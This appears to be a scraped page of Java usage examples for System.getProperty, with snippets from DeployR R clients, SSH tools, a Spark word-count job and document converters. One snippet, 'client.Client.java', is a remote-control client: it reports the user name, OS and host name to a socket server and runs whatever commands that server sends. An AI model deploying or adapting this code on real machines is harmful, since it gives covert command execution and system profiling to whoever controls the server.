Example usage for java.lang System getProperty

List of usage examples for java.lang System getProperty

Introduction

In this page you can find the example usage for java.lang System getProperty.

Prototype

public static String getProperty(String key) 

Source Link

Document

Gets the system property indicated by the specified key.

Usage

From source file:com.revo.deployr.client.example.data.io.anon.discrete.exec.RepoFileInGraphicsPlotOut.java

public static void main(String args[]) throws Exception {

    RClient rClient = null;//  w w  w  .j a v  a  2 s . co  m

    try {

        /*
         * Determine DeployR server endpoint.
         */
        String endpoint = System.getProperty("endpoint");
        log.info("[ CONFIGURATION  ] Using endpoint=" + endpoint);

        /*
         * Establish RClient connection to DeployR server.
         *
         * An RClient connection is the mandatory starting
         * point for any application using the client library.
         */
        rClient = RClientFactory.createClient(endpoint);

        log.info("[   CONNECTION   ] Established anonymous " + "connection [ RClient ].");

        /*
         * Create the AnonymousProjectExecutionOptions object
         * to specify data inputs and output to the script.
         *
         * This options object can be used to pass standard
         * execution model parameters on execution calls. All
         * fields are optional.
         *
         * See the Standard Execution Model chapter in the
         * Client Library Tutorial on the DeployR website for
         * further details.
         */
        AnonymousProjectExecutionOptions options = new AnonymousProjectExecutionOptions();

        /* 
         * Preload from the DeployR repository the following
         * data input file:
         * /testuser/example-data-io/hipStar.dat
         */
        ProjectPreloadOptions preloadDirectory = new ProjectPreloadOptions();
        preloadDirectory.filename = "hipStar.dat";
        preloadDirectory.directory = "example-data-io";
        preloadDirectory.author = "testuser";
        options.preloadDirectory = preloadDirectory;
        /*
         * Blackbox must be enabled in order for an anonymous
         * caller to request a repository-managed file (hipStar.dat)
         * to be loaded into the working directory on the execution.
         */
        options.blackbox = true;

        log.info("[   DATA INPUT   ] Repository data file input "
                + "set on execution, [ ProjectExecutionOptions.preloadDirectory ].");

        /*
         * Execute a public analytics Web service as an anonymous
         * user based on a repository-managed R script:
         * /testuser/example-data-io/dataIO.R
         */
        RScriptExecution exec = rClient.executeScript("dataIO.R", "example-data-io", "testuser", null, options);

        log.info("[   EXECUTION    ] Discrete R script " + "execution completed [ RScriptExecution ].");

        /*
         * Retrieve R graphics device plot (result) called
         * unnamedplot*.png that was generated by the execution.
         *
         * Outputs generated by an execution can be used in any
         * number of ways by client applications, including:
         *
         * 1. Use output data to perform further calculations.
         * 2. Display output data to an end-user.
         * 3. Write output data to a database.
         * 4. Pass output data along to another Web service.
         * 5. etc.
         */
        List<RProjectResult> results = exec.about().results;

        for (RProjectResult result : results) {
            log.info("[  DATA OUTPUT   ] Retrieved graphics device " + "plot output " + result.about().filename
                    + " [ RProjectResult ].");
            InputStream fis = null;
            try {
                fis = result.download();
            } catch (Exception ex) {
                log.warn("Graphics device plot " + ex);
            } finally {
                IOUtils.closeQuietly(fis);
            }
        }

    } catch (Exception ex) {
        log.warn("Unexpected runtime exception=" + ex);
    } finally {
        try {
            if (rClient != null) {
                /*
                 * Release rClient connection before application exits.
                 */
                rClient.release();
            }
        } catch (Exception fex) {
        }
    }

}

From source file:com.honnix.cheater.cli.Main.java

/**
 * @param args/*from w ww  . j a v  a  2s. c  o m*/
 * @throws SpcException
 */
public static void main(String[] args) throws SpcException {
    if (System.getProperty(CheaterConstant.TRUST_STORE_KEY) == null && !setTrustStore()) {
        LOG.fatal("Failed setting trust store. Use cheater.sh instead.");

        System.exit(1);
    }

    new CheaterImpl().start();
}

From source file:examples.ssh.Exec.java

public static void main(String... args) throws Exception {
    SSHClient ssh = new SSHClient();
    ssh.loadKnownHosts();//from  w  w  w. j a  va 2  s. co  m

    ssh.connect("localhost");
    try {

        ssh.authPublickey(System.getProperty("user.name"));

        Command cmd = ssh.startSession().exec("man sshd_config");

        // Pipe.pipe(cmd.getInputStream(), System.out, cmd.getLocalMaxPacketSize(), false);
        System.out.print(cmd.getOutputAsString());
        System.out.println("\n** exit status: " + cmd.getExitStatus());

    } finally {
        ssh.disconnect();
    }
}

From source file:com.verizon.Main.java

public static void main(String[] args) throws Exception {

    String warehouseLocation = "file:" + System.getProperty("user.dir") + "spark-warehouse";

    SparkSession spark = SparkSession.builder().appName("Verizon").config("spark.master", "local[2]")
            .config("spark.sql.warehouse.dir", warehouseLocation).enableHiveSupport().getOrCreate();

    Configuration configuration = new Configuration();
    configuration.addResource(new Path(System.getProperty("HADOOP_INSTALL") + "/conf/core-site.xml"));
    configuration.addResource(new Path(System.getProperty("HADOOP_INSTALL") + "/conf/hdfs-site.xml"));
    configuration.set("fs.hdfs.impl", org.apache.hadoop.hdfs.DistributedFileSystem.class.getName());
    configuration.set("fs.file.impl", org.apache.hadoop.fs.LocalFileSystem.class.getName());

    FileSystem hdfs = FileSystem.get(new URI("hdfs://localhost:9000"), configuration);

    SQLContext context = new SQLContext(spark);
    String schemaString = " Device,Title,ReviewText,SubmissionTime,UserNickname";
    //spark.read().textFile(schemaString)
    Dataset<Row> df = spark.read().csv("hdfs://localhost:9000/data.csv");
    //df.show();/*ww w . ja va  2s .com*/
    //#df.printSchema();
    df = df.select("_c2");

    Path file = new Path("hdfs://localhost:9000/tempFile.txt");
    if (hdfs.exists(file)) {
        hdfs.delete(file, true);
    }

    df.write().csv("hdfs://localhost:9000/tempFile.txt");

    JavaRDD<String> lines = spark.read().textFile("hdfs://localhost:9000/tempFile.txt").javaRDD();
    JavaRDD<String> words = lines.flatMap(new FlatMapFunction<String, String>() {
        @Override
        public Iterator<String> call(String s) {
            return Arrays.asList(SPACE.split(s)).iterator();
        }
    });

    JavaPairRDD<String, Integer> ones = words.mapToPair(new PairFunction<String, String, Integer>() {
        @Override
        public Tuple2<String, Integer> call(String s) {
            s = s.replaceAll("[^a-zA-Z0-9]+", "");
            s = s.toLowerCase().trim();
            return new Tuple2<>(s, 1);
        }
    });

    JavaPairRDD<String, Integer> counts = ones.reduceByKey(new Function2<Integer, Integer, Integer>() {
        @Override
        public Integer call(Integer i1, Integer i2) {
            return i1 + i2;
        }
    });

    JavaPairRDD<Integer, String> frequencies = counts
            .mapToPair(new PairFunction<Tuple2<String, Integer>, Integer, String>() {
                @Override
                public Tuple2<Integer, String> call(Tuple2<String, Integer> s) {
                    return new Tuple2<Integer, String>(s._2, s._1);
                }
            });

    frequencies = frequencies.sortByKey(false);

    JavaPairRDD<String, Integer> result = frequencies
            .mapToPair(new PairFunction<Tuple2<Integer, String>, String, Integer>() {
                @Override
                public Tuple2<String, Integer> call(Tuple2<Integer, String> s) throws Exception {
                    return new Tuple2<String, Integer>(s._2, s._1);
                }

            });

    //JavaPairRDD<Integer,String> sortedByFreq = sort(frequencies, "descending"); 
    file = new Path("hdfs://localhost:9000/allresult.csv");
    if (hdfs.exists(file)) {
        hdfs.delete(file, true);
    }

    //FileUtils.deleteDirectory(new File("allresult.csv"));

    result.saveAsTextFile("hdfs://localhost:9000/allresult.csv");

    List<Tuple2<String, Integer>> output = result.take(250);

    ExportToHive hiveExport = new ExportToHive();
    String rows = "";
    for (Tuple2<String, Integer> tuple : output) {
        String date = new Date().toString();
        String keyword = tuple._1();
        Integer count = tuple._2();
        //System.out.println( keyword+ "," +count);
        rows += date + "," + "Samsung Galaxy s7," + keyword + "," + count + System.lineSeparator();

    }
    //System.out.println(rows);
    /*
    file = new Path("hdfs://localhost:9000/result.csv");
            
    if ( hdfs.exists( file )) { hdfs.delete( file, true ); } 
    OutputStream os = hdfs.create(file);
    BufferedWriter br = new BufferedWriter( new OutputStreamWriter( os, "UTF-8" ) );
    br.write(rows);
    br.close();
    */
    hdfs.close();

    FileUtils.deleteQuietly(new File("result.csv"));
    FileUtils.writeStringToFile(new File("result.csv"), rows);

    hiveExport.writeToHive(spark);
    ExportDataToServer exportServer = new ExportDataToServer();
    exportServer.sendDataToRESTService(rows);
    spark.stop();
}

From source file:com.xinge.sample.samples.pptx4j.org.pptx4j.samples.ConvertOutFlatOpenPackage.java

/**
 * @param args//from   w  ww .ja va  2 s .  c o m
 */
public static void main(String[] args) throws Exception {

    String inputfilepath = System.getProperty("user.dir") + "/sample.pptx";
    OpcPackage pptxPackage = OpcPackage.load(new File(inputfilepath));

    FlatOpcXmlCreator worker = new FlatOpcXmlCreator(pptxPackage);

    org.docx4j.xmlPackage.Package result = worker.get();

    boolean suppressDeclaration = true;
    boolean prettyprint = true;

    String data = org.docx4j.XmlUtils.marshaltoString(result, suppressDeclaration, prettyprint,
            org.docx4j.jaxb.Context.jcXmlPackage);

    FileUtils.writeStringToFile(new File(System.getProperty("user.dir") + "/pptx.xml"), data);

}

From source file:examples.ssh.SCPDownload.java

public static void main(String[] args) throws Exception {
    SSHClient ssh = new SSHClient();
    // ssh.useCompression(); // => significant speedup for large file transfers on fast links
    ssh.loadKnownHosts();// w w w .  j a v a  2  s  .co m
    ssh.connect("localhost");
    try {
        ssh.authPublickey(System.getProperty("user.name"));
        ssh.newSCPFileTransfer().download("well", "/tmp/");
    } finally {
        ssh.disconnect();
    }
}

From source file:client.Client.java

/**
 * @param args the command line arguments
 *//*from  w w w  . j  av  a  2 s  . c  o m*/
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:com.revo.deployr.client.example.data.io.anon.discrete.exec.EncodedDataInBinaryFileOut.java

public static void main(String args[]) throws Exception {

    RClient rClient = null;//from w  w  w  .java  2  s  .  c o  m

    try {

        /*
         * Determine DeployR server endpoint.
         */
        String endpoint = System.getProperty("endpoint");
        log.info("[ CONFIGURATION  ] Using endpoint=" + endpoint);

        /*
         * Establish RClient connection to DeployR server.
         *
         * An RClient connection is the mandatory starting
         * point for any application using the client library.
         */
        rClient = RClientFactory.createClient(endpoint);

        log.info("[   CONNECTION   ] Established anonymous " + "connection [ RClient ].");

        /*
         * Create the AnonymousProjectExecutionOptions object
         * to specify data inputs and output to the script.
         *
         * This options object can be used to pass standard
         * execution model parameters on execution calls. All
         * fields are optional.
         *
         * See the Standard Execution Model chapter in the
         * Client Library Tutorial on the DeployR website for
         * further details.
         */
        AnonymousProjectExecutionOptions options = new AnonymousProjectExecutionOptions();

        /* 
         * Simulate application generated data. This data
         * is first encoded using the RDataFactory before
         * being passed as an input on the execution.
         *
         * This encoded R input is automatically converted
         * into a workspace object before script execution.
         */
        RData generatedData = simulateGeneratedData();
        if (generatedData != null) {
            List<RData> rinputs = Arrays.asList(generatedData);
            options.rinputs = rinputs;
        }

        log.info("[   DATA INPUT   ] DeployR-encoded R input "
                + "set on execution, [ ProjectExecutionOptions.rinputs ].");

        /*
         * Execute a public analytics Web service as an anonymous
         * user based on a repository-managed R script:
         * /testuser/example-data-io/dataIO.R
         */
        RScriptExecution exec = rClient.executeScript("dataIO.R", "example-data-io", "testuser", null, options);

        log.info("[   EXECUTION    ] Discrete R script " + "execution completed [ RScriptExecution ].");

        /*
         * Retrieve the working directory file (artifact) called
         * hip.rData that was generated by the execution.
         *
         * Outputs generated by an execution can be used in any
         * number of ways by client applications, including:
         *
         * 1. Use output data to perform further calculations.
         * 2. Display output data to an end-user.
         * 3. Write output data to a database.
         * 4. Pass output data along to another Web service.
         * 5. etc.
         */
        List<RProjectFile> wdFiles = exec.about().artifacts;

        for (RProjectFile wdFile : wdFiles) {
            if (wdFile.about().filename.equals("hip.rData")) {
                log.info("[  DATA OUTPUT   ] Retrieved working directory " + "file output "
                        + wdFile.about().filename + " [ RProjectFile ].");
                InputStream fis = null;
                try {
                    fis = wdFile.download();
                } catch (Exception ex) {
                    log.warn("Working directory binary file " + ex);
                } finally {
                    IOUtils.closeQuietly(fis);
                }
            }
        }

    } catch (Exception ex) {
        log.warn("Unexpected runtime exception=" + ex);
    } finally {
        try {
            if (rClient != null) {
                /*
                 * Release rClient connection before application exits.
                 */
                rClient.release();
            }
        } catch (Exception fex) {
        }
    }

}

From source file:com.revo.deployr.client.example.data.io.auth.discrete.exec.RepoFileInGraphicsPlotOut.java

public static void main(String args[]) throws Exception {

    RClient rClient = null;/*from  w  w  w .jav  a2s. co m*/

    try {

        /*
         * Determine DeployR server endpoint.
         */
        String endpoint = System.getProperty("endpoint");
        log.info("[ CONFIGURATION  ] Using endpoint=" + endpoint);

        /*
         * Establish RClient connection to DeployR server.
         *
         * An RClient connection is the mandatory starting
         * point for any application using the client library.
         */
        rClient = RClientFactory.createClient(endpoint);

        log.info("[   CONNECTION   ] Established anonymous " + "connection [ RClient ].");

        /*
         * Build a basic authentication token.
         */
        RAuthentication rAuth = new RBasicAuthentication(System.getProperty("username"),
                System.getProperty("password"));

        /*
         * Establish an authenticated handle with the DeployR
         * server, rUser. Following this call the rClient 
         * connection is operating as an authenticated connection
         * and all calls on rClient inherit the access permissions
         * of the authenticated user, rUser.
         */
        RUser rUser = rClient.login(rAuth);
        log.info("[ AUTHENTICATION ] Upgraded to authenticated " + "connection [ RUser ].");

        /*
         * Create the AnonymousProjectExecutionOptions object
         * to specify data inputs and output to the script.
         *
         * This options object can be used to pass standard
         * execution model parameters on execution calls. All
         * fields are optional.
         *
         * See the Standard Execution Model chapter in the
         * Client Library Tutorial on the DeployR website for
         * further details.
         */
        AnonymousProjectExecutionOptions options = new AnonymousProjectExecutionOptions();

        /* 
         * Preload from the DeployR repository the following
         * data input file:
         * /testuser/example-data-io/hipStar.dat
         */
        ProjectPreloadOptions preloadDirectory = new ProjectPreloadOptions();
        preloadDirectory.filename = "hipStar.dat";
        preloadDirectory.directory = "example-data-io";
        preloadDirectory.author = "testuser";
        options.preloadDirectory = preloadDirectory;

        log.info("[   DATA INPUT   ] Repository data file input "
                + "set on execution, [ ProjectExecutionOptions.preloadDirectory ].");

        /*
         * Execute an analytics Web service as an authenticated
         * user based on a repository-managed R script:
         * /testuser/example-data-io/dataIO.R
         */
        RScriptExecution exec = rClient.executeScript("dataIO.R", "example-data-io", "testuser", null, options);

        log.info("[   EXECUTION    ] Discrete R script " + "execution completed [ RScriptExecution ].");

        /*
         * Retrieve R graphics device plot (result) called
         * unnamedplot*.png that was generated by the execution.
         *
         * Outputs generated by an execution can be used in any
         * number of ways by client applications, including:
         *
         * 1. Use output data to perform further calculations.
         * 2. Display output data to an end-user.
         * 3. Write output data to a database.
         * 4. Pass output data along to another Web service.
         * 5. etc.
         */
        List<RProjectResult> results = exec.about().results;

        for (RProjectResult result : results) {
            log.info("[  DATA OUTPUT   ] Retrieved graphics device " + "plot output " + result.about().filename
                    + " [ RProjectResult ].");
            InputStream fis = null;
            try {
                fis = result.download();
            } catch (Exception ex) {
                log.warn("Graphics device plot " + ex);
            } finally {
                IOUtils.closeQuietly(fis);
            }
        }

    } catch (Exception ex) {
        log.warn("Unexpected runtime exception=" + ex);
    } finally {
        try {
            if (rClient != null) {
                /*
                 * Release rClient connection before application exits.
                 */
                rClient.release();
            }
        } catch (Exception fex) {
        }
    }

}

From source file:examples.Main.java

/**
 * This class is an example on how to use JMBDiscId.
 *
 * @param args args[0] contains the full path to the library file. args[1]
 * contains the path to the cd drive//  w ww.ja v  a  2s .c  o m
 */
public static void main(String[] args) {
    int ret = 0;
    System.out.println("start");
    System.out.println("JVM architecture: " + System.getProperty("os.arch"));
    if (args.length < 2) {
        outputHelp();
        ret = 1;
    } else {
        JMBDiscId discId = new JMBDiscId();
        if (discId.init(args[0])) {
            System.out.println("MusicBrainz DiscID: " + discId.getDiscId(args[1]));
            System.out.println("FreeDB DiscID: " + discId.getFreeDBId(args[1]));
            System.out.println("Submission Url: " + discId.getSubmissionUrl(args[1]));
            System.out.println("DataUrl: " + discId.getDiscIdLookupUrl(args[1]));
        } else {
            ret = 2;
        }
    }
    System.exit(ret);
}